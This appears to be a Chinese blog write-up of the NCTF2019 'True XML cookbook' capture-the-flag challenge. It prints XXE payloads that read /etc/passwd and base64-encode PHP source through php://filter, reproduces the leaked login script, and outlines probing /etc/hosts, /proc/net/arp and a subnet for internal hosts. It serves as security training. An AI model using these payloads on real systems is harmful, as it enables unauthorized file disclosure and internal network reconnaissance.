[NCTF2019]True XML cookbook

考点:XXE 浅谈XML实体注入漏洞
参考做过的上一道题:[NCTF2019]Fake XML cookbook

定义恶意外部实体,在原本的XML数据中进行引用

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
]>

在已经存在的< username>标签中可以进行调用,使用&admin;即可
在这里插入图片描述
尝试使用file://协议读取flag
失败,而且有报错,泄露了源码路径:/var/www/html/doLogin.php
在这里插入图片描述
可以用php伪协议读取源码:

php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php

在这里插入图片描述
解码得到源码:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

好像没什么用…

说明flag可能不在根目录下,xxe可以内网探测存活的主机,获取/etc/hosts文件,分别读取关键文件:/etc/hosts 和 /proc/net/arp:
在这里插入图片描述
在这里插入图片描述
发现2个ip
尝试使用http协议访问,发现报错
使用intruder模块爆破C段即可
在这里插入图片描述
这里不知道为啥没爆破出来,但方法就是这样

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值